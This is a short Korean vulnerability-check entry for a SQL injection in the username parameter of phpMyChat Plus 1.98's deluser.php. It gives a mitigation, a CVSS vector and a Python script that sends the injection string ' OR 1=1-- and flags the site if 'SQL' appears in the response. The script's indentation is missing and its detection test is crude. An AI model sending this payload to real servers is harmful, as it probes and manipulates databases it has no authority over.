phpMyChat Plus 1.98
사용자 이름 필드에 악의적인 SQL 코드를 입력하여 데이터베이스 쿼리 조작
phpMyChat Plus를 최신 버전으로 업데이트하거나, 사용자 입력 데이터를 철저히 검증하여 SQL 인젝션을 방지한다.
로컬에서 Python을 실행하고, requests 라이브러리가 설치되어 있어야 한다. 예제 코드는 원격 서버의 deluser.php 페이지에 악의적인 SQL 코드를 포함한 요청을 보내고, 응답에 'SQL' 문자열이 포함되어 있는지 확인한다. 취약점이 존재하면 '취약'으로 판단한다.
import requests
response = requests.get('https://example.com/deluser.php?pmc_username=%27+OR+1%3D1--')
if 'SQL' in response.text:
print({"result": "취약", "reason": "SQL 인젝션 취약점 존재"})
else:
print({"result": "양호", "reason": "SQL 인젝션 취약점 없음"})
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N